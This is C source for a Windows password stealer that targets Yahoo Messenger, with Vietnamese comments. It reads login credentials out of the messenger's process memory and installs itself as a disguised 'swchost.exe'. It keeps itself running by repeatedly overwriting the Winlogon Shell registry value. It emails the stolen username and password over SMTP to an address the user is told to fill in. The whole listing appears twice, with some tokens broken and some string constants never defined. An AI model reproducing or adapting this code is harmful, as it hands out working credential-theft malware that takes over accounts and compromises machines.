#include
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
char username[0x80];
char passwrd[0x80];
HWND hYMWnd;
HANDLE hYPro;
byte SignPass6x[4] ={0x00,0x8D,0x41,0x74};
byte SignUser6x[6] ={0x74,0x41,0x53,0x6A,0x01,0x68};
byte SignPassYBeta[6] ={0x1C,0x00,0x8B,0x4D,0xF4,0xA1}; //{0xE8,0x59,0xC4,0x1C,0x00,0x8B,0x4D,0xF4,0xA1};
byte SignUserYBeta[6] ={0x85,0x6C,0xFF,0xFF,0xFF,0xA1}; //{0x57,0x50,0x89,0x85,0x6C,0xFF,0xFF,0xFF,0xA1};
/////////////////////////////////////////////////////////////////////////////////
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow);
void ReadYahoo567(HANDLE hYPro,bool readuser,byte* Sign,int Yversion,int NumberOfByteSign);
void SendMail(char* emailadrr);
DWORD WINAPI KeepAndCreateKey(LPVOID Parameter);
//////////////////////////////////////////////////////////////////////////////////////
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//Kiem tra Mutex
CreateMutex(NULL,true,"YM_DUMP");
if (GetLastError() == ERROR_ALREADY_EXISTS)
return 0;
Sleep(5000);
////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////
//-----------------------COPY CHINH NO VAO THU MUC SYSTEM---------------------------------//
////////////////////////////////////////////////////////////////////////////////////////////
char SysDir[150];
char FileName[500];
memset(SysDir,0,sizeof(SysDir)); // Khoi tao
memset(FileName,0,sizeof(FileName)); // Khoi tao
// Neu chay lan dau copy vao` trong system mo file flash ra.
GetModuleFileName(NULL,FileName,sizeof(FileName));
strupr(FileName);
if(!strstr(FileName,"SYSTEM")) // Se khong lay vao thu muc system
{
GetSystemDirectory(SysDir,sizeof(SysDir));
strcat(SysDir,"\\swchost.exe");
CopyFile(FileName,SysDir,false);
}
memset(username,0,0x80);
memset(passwrd,0,0x80);
/* WNDCLASS wndclass;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);
wndclass.hCursor = LoadCursor(NULL,IDC_ARROW);
wndclass.hIcon = NULL;//LoadIcon(hInstance,MAKEINTRESOURCE());
wndclass.hInstance = hInstance;
wndclass.lpfnWndProc = WndProc;
wndclass.lpszClassName = YDumpszAppName;
wndclass.lpszMenuName = 0;
wndclass.style= 0;
RegisterClass(&wndclass);
CreateWindow(YDumpszAppName,YDumpszAppName,WS_OVER LAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDE FAULT,
NULL,NULL,hInstance,NULL);*/
//////////////////////////////////////////////////////
//-------Tao Thread de? tao key lien tuc -----------//
//////////////////////////////////////////////////////
HANDLE hThread; //Handle to thread
DWORD ThreadId; //used to store the thread id
hThread = CreateThread(NULL,0,KeepAndCreateKey,NULL,0,&Threa dId);
if(!hThread) return 0; // Tao thread co' loi~ thoat luon*/
// ///
///////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////
//-----------------------LAY HANDLE CUA CHUONG TRINH YAHOO--------------------------------//
////////////////////////////////////////////////////////////////////////////////////////////
while(true)
{
hYMWnd=FindWindow("YahooBuddyMain",NULL);
if(!hYMWnd)
{
Sleep(500);
}
else
{
//return 0;
HANDLE hYM_ID;
GetWindowThreadProcessId(hYMWnd,(LPDWORD)&hYM_ID);
hYPro=OpenProcess (PROCESS_ALL_ACCESS,false,(DWORD)hYM_ID);
if(!hYPro)return 0;
hYMWnd=FindWindowEx(hYMWnd,NULL,"YTopWindow",NULL) ;
hYMWnd=FindWindowEx(hYMWnd,NULL,"YSkinnedSplitterW indow",NULL);
if(hYMWnd)
{
ReadYahoo567(hYPro,true,SignUser6x,6,6);
ReadYahoo567(hYPro,false,SignPass6x,6,4);
}
else
{
ReadYahoo567(hYPro,true,SignUserYBeta,7,6);
ReadYahoo567(hYPro,false,SignPassYBeta,7,6);
}
//------------------ Dump Pass---------------------
if(strlen(passwrd))
{
SendMail(".....@ gmail.com"); // dien email cua ban vao day
}
}
}
}
void SendMail(char* emailadrr)
{
char * szGmailServer[] ={
" .google.com",
"gsmtp185.google.com",
"gsmtp171.google.com",
"gsmtp171-2.google.com" };
char revbuff[300]; // buffer de? nhan thong diep
char szMess[300];
SOCKET MySocket;
SOCKADDR_IN addr;
WSAData ws;
struct hostent* target;
if(WSAStartup(0x0101,&ws)) return;
MySocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(MySocket<0) return;
// Duyet cac' server co' the? de? login
for (int i=0;ih_addr);
// If Connect success send email. Else continue
if( !connect(MySocket,(struct sockaddr *) &addr,sizeof(addr)) )
{
recv(MySocket,revbuff,sizeof(revbuff),0); // receive wellcome mess
// Send HELO
strcpy(szMess,YDumpszHelo);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send MAILFORM:
strcpy(szMess,YDumpszMAIL_FROM);
strcat(szMess,YDumpszFrom);
strcat(szMess,YDumpszCloseAndCRLF);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send RCPT TO:
strcpy(szMess,YDumpszRCPT_TO);
strcat(szMess,emailadrr);
strcat(szMess,YDumpszCloseAndCRLF);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send DATA
strcpy(szMess,YDumpszDATA);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send Header
strcpy(szMess,YDumpszMessHeader);
send(MySocket,szMess,strlen(szMess),0);
strcpy(szMess,YDumpszFromHeader);
send(MySocket,szMess,strlen(szMess),0);
strcpy(szMess,YDumpszTo);
strcat(szMess,emailadrr);
strcat(szMess,YDumpszCRLF);
send(MySocket,szMess,strlen(szMess),0);
strcpy(szMess,YDumpszSubject);
send(MySocket,szMess,strlen(szMess),0);
// Send Username and password
strcpy(szMess,YDumpszUserName);
send(MySocket,szMess,strlen(szMess),0);
send(MySocket,username,strlen(username),0);
strcpy(szMess,YDumpszCRLF);
strcat(szMess,YDumpszPassWord);
send(MySocket,szMess,strlen(szMess),0);
send(MySocket,passwrd,strlen(passwrd),0);
strcpy(szMess,YDumpszQuit);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0);
// Close Soceket
closesocket(MySocket);
break;
}
}
// Send succel or error
}
void ReadYahoo567(HANDLE hYPro,bool readuser,byte* Sign,int Yversion,int NumberOfByteSign)
{
DWORD StartCode=0x400000;
DWORD EndCode=StartCode+0x3FFFFF;
DWORD Addr=StartCode ;
DWORD GetEn;
int BytesRead,i,j;
char buff[1024];
memset(buff,0,1024);
while(1)
{
ReadProcessMemory(hYPro, (LPDWORD)Addr,buff, sizeof(buff),(LPDWORD) &BytesRead);
if(BytesRead<=0) break;
i=0;
do
{
j=0;
while((byte)buff[i+j]==(byte)Sign[j])
{
j++;
if(j==NumberOfByteSign) //=> tim thay'
{
if(!readuser)
{
if(Yversion==6)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i-0xA),&GetEn,4,NULL);
ReadProcessMemory(hYPro,(LPDWORD)GetEn,&GetEn,4,NU LL);
GetEn+=0x74;
ReadProcessMemory(hYPro,(LPDWORD)GetEn,passwrd,0x8 0,NULL);
return;
}
if(Yversion==7)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6),&GetEn ,4,NULL);
ReadProcessMemory(hYPro, (LPDWORD)GetEn,&GetEn, 4 ,NULL);
GetEn+=40;
ReadProcessMemory(hYPro,(LPDWORD)GetEn,passwrd,0x8 0,NULL);
return;
}
}
else
{
if(Yversion==6)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6),&GetEn ,4,NULL);
ReadProcessMemory(hYPro,(LPDWORD)GetEn,username,0x 80,NULL);
return;
}
if(Yversion==7)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6),&GetEn ,4,NULL);
DWORD GetEn1;
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6+5),&Get En1,4,NULL);
GetEn+=GetEn1+8;
ReadProcessMemory(hYPro,(LPDWORD)GetEn,username,0x 80,NULL);
return;
}
}
}
}
i++;
} while(iEndCode) break;
}
return;
}
// Ham tao key lien tuc
DWORD WINAPI KeepAndCreateKey(LPVOID Parameter)
{
HKEY pKey;
while(1)
{
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows NT\\CurrentVersion\\Winlogon",&pKey);
RegSetValueEx(pKey,"Shell",NULL,REG_SZ,(unsigned char*)"Explorer.exe swchost.exe",strlen("Explorer.exe swchost.exe"));
Sleep(3000);
}
return 0;
}" />
#include
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
char username[0x80];
char passwrd[0x80];
HWND hYMWnd;
HANDLE hYPro;
byte SignPass6x[4] ={0x00,0x8D,0x41,0x74};
byte SignUser6x[6] ={0x74,0x41,0x53,0x6A,0x01,0x68};
byte SignPassYBeta[6] ={0x1C,0x00,0x8B,0x4D,0xF4,0xA1}; //{0xE8,0x59,0xC4,0x1C,0x00,0x8B,0x4D,0xF4,0xA1};
byte SignUserYBeta[6] ={0x85,0x6C,0xFF,0xFF,0xFF,0xA1}; //{0x57,0x50,0x89,0x85,0x6C,0xFF,0xFF,0xFF,0xA1};
/////////////////////////////////////////////////////////////////////////////////
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow);
void ReadYahoo567(HANDLE hYPro,bool readuser,byte* Sign,int Yversion,int NumberOfByteSign);
void SendMail(char* emailadrr);
DWORD WINAPI KeepAndCreateKey(LPVOID Parameter);
//////////////////////////////////////////////////////////////////////////////////////
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//Kiem tra Mutex
CreateMutex(NULL,true,"YM_DUMP");
if (GetLastError() == ERROR_ALREADY_EXISTS)
return 0;
Sleep(5000);
////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////
//-----------------------COPY CHINH NO VAO THU MUC SYSTEM---------------------------------//
////////////////////////////////////////////////////////////////////////////////////////////
char SysDir[150];
char FileName[500];
memset(SysDir,0,sizeof(SysDir)); // Khoi tao
memset(FileName,0,sizeof(FileName)); // Khoi tao
// Neu chay lan dau copy vao` trong system mo file flash ra.
GetModuleFileName(NULL,FileName,sizeof(FileName));
strupr(FileName);
if(!strstr(FileName,"SYSTEM")) // Se khong lay vao thu muc system
{
GetSystemDirectory(SysDir,sizeof(SysDir));
strcat(SysDir,"\\swchost.exe");
CopyFile(FileName,SysDir,false);
}
memset(username,0,0x80);
memset(passwrd,0,0x80);
/* WNDCLASS wndclass;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);
wndclass.hCursor = LoadCursor(NULL,IDC_ARROW);
wndclass.hIcon = NULL;//LoadIcon(hInstance,MAKEINTRESOURCE());
wndclass.hInstance = hInstance;
wndclass.lpfnWndProc = WndProc;
wndclass.lpszClassName = YDumpszAppName;
wndclass.lpszMenuName = 0;
wndclass.style= 0;
RegisterClass(&wndclass);
CreateWindow(YDumpszAppName,YDumpszAppName,WS_OVER LAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDE FAULT,
NULL,NULL,hInstance,NULL);*/
//////////////////////////////////////////////////////
//-------Tao Thread de? tao key lien tuc -----------//
//////////////////////////////////////////////////////
HANDLE hThread; //Handle to thread
DWORD ThreadId; //used to store the thread id
hThread = CreateThread(NULL,0,KeepAndCreateKey,NULL,0,&Threa dId);
if(!hThread) return 0; // Tao thread co' loi~ thoat luon*/
// ///
///////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////
//-----------------------LAY HANDLE CUA CHUONG TRINH YAHOO--------------------------------//
////////////////////////////////////////////////////////////////////////////////////////////
while(true)
{
hYMWnd=FindWindow("YahooBuddyMain",NULL);
if(!hYMWnd)
{
Sleep(500);
}
else
{
//return 0;
HANDLE hYM_ID;
GetWindowThreadProcessId(hYMWnd,(LPDWORD)&hYM_ID);
hYPro=OpenProcess (PROCESS_ALL_ACCESS,false,(DWORD)hYM_ID);
if(!hYPro)return 0;
hYMWnd=FindWindowEx(hYMWnd,NULL,"YTopWindow",NULL) ;
hYMWnd=FindWindowEx(hYMWnd,NULL,"YSkinnedSplitterW indow",NULL);
if(hYMWnd)
{
ReadYahoo567(hYPro,true,SignUser6x,6,6);
ReadYahoo567(hYPro,false,SignPass6x,6,4);
}
else
{
ReadYahoo567(hYPro,true,SignUserYBeta,7,6);
ReadYahoo567(hYPro,false,SignPassYBeta,7,6);
}
//------------------ Dump Pass---------------------
if(strlen(passwrd))
{
SendMail(".....@ gmail.com"); // dien email cua ban vao day
}
}
}
}
void SendMail(char* emailadrr)
{
char * szGmailServer[] ={
" .google.com",
"gsmtp185.google.com",
"gsmtp171.google.com",
"gsmtp171-2.google.com" };
char revbuff[300]; // buffer de? nhan thong diep
char szMess[300];
SOCKET MySocket;
SOCKADDR_IN addr;
WSAData ws;
struct hostent* target;
if(WSAStartup(0x0101,&ws)) return;
MySocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(MySocket<0) return;
// Duyet cac' server co' the? de? login
for (int i=0;ih_addr);
// If Connect success send email. Else continue
if( !connect(MySocket,(struct sockaddr *) &addr,sizeof(addr)) )
{
recv(MySocket,revbuff,sizeof(revbuff),0); // receive wellcome mess
// Send HELO
strcpy(szMess,YDumpszHelo);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send MAILFORM:
strcpy(szMess,YDumpszMAIL_FROM);
strcat(szMess,YDumpszFrom);
strcat(szMess,YDumpszCloseAndCRLF);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send RCPT TO:
strcpy(szMess,YDumpszRCPT_TO);
strcat(szMess,emailadrr);
strcat(szMess,YDumpszCloseAndCRLF);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send DATA
strcpy(szMess,YDumpszDATA);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0); //
// Send Header
strcpy(szMess,YDumpszMessHeader);
send(MySocket,szMess,strlen(szMess),0);
strcpy(szMess,YDumpszFromHeader);
send(MySocket,szMess,strlen(szMess),0);
strcpy(szMess,YDumpszTo);
strcat(szMess,emailadrr);
strcat(szMess,YDumpszCRLF);
send(MySocket,szMess,strlen(szMess),0);
strcpy(szMess,YDumpszSubject);
send(MySocket,szMess,strlen(szMess),0);
// Send Username and password
strcpy(szMess,YDumpszUserName);
send(MySocket,szMess,strlen(szMess),0);
send(MySocket,username,strlen(username),0);
strcpy(szMess,YDumpszCRLF);
strcat(szMess,YDumpszPassWord);
send(MySocket,szMess,strlen(szMess),0);
send(MySocket,passwrd,strlen(passwrd),0);
strcpy(szMess,YDumpszQuit);
send(MySocket,szMess,strlen(szMess),0);
recv(MySocket,revbuff,sizeof(revbuff),0);
// Close Soceket
closesocket(MySocket);
break;
}
}
// Send succel or error
}
void ReadYahoo567(HANDLE hYPro,bool readuser,byte* Sign,int Yversion,int NumberOfByteSign)
{
DWORD StartCode=0x400000;
DWORD EndCode=StartCode+0x3FFFFF;
DWORD Addr=StartCode ;
DWORD GetEn;
int BytesRead,i,j;
char buff[1024];
memset(buff,0,1024);
while(1)
{
ReadProcessMemory(hYPro, (LPDWORD)Addr,buff, sizeof(buff),(LPDWORD) &BytesRead);
if(BytesRead<=0) break;
i=0;
do
{
j=0;
while((byte)buff[i+j]==(byte)Sign[j])
{
j++;
if(j==NumberOfByteSign) //=> tim thay'
{
if(!readuser)
{
if(Yversion==6)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i-0xA),&GetEn,4,NULL);
ReadProcessMemory(hYPro,(LPDWORD)GetEn,&GetEn,4,NU LL);
GetEn+=0x74;
ReadProcessMemory(hYPro,(LPDWORD)GetEn,passwrd,0x8 0,NULL);
return;
}
if(Yversion==7)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6),&GetEn ,4,NULL);
ReadProcessMemory(hYPro, (LPDWORD)GetEn,&GetEn, 4 ,NULL);
GetEn+=40;
ReadProcessMemory(hYPro,(LPDWORD)GetEn,passwrd,0x8 0,NULL);
return;
}
}
else
{
if(Yversion==6)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6),&GetEn ,4,NULL);
ReadProcessMemory(hYPro,(LPDWORD)GetEn,username,0x 80,NULL);
return;
}
if(Yversion==7)
{
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6),&GetEn ,4,NULL);
DWORD GetEn1;
ReadProcessMemory(hYPro,(LPDWORD)(Addr+i+6+5),&Get En1,4,NULL);
GetEn+=GetEn1+8;
ReadProcessMemory(hYPro,(LPDWORD)GetEn,username,0x 80,NULL);
return;
}
}
}
}
i++;
} while(iEndCode) break;
}
return;
}
// Ham tao key lien tuc
DWORD WINAPI KeepAndCreateKey(LPVOID Parameter)
{
HKEY pKey;
while(1)
{
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows NT\\CurrentVersion\\Winlogon",&pKey);
RegSetValueEx(pKey,"Shell",NULL,REG_SZ,(unsigned char*)"Explorer.exe swchost.exe",strlen("Explorer.exe swchost.exe"));
Sleep(3000);
}
return 0;
}" />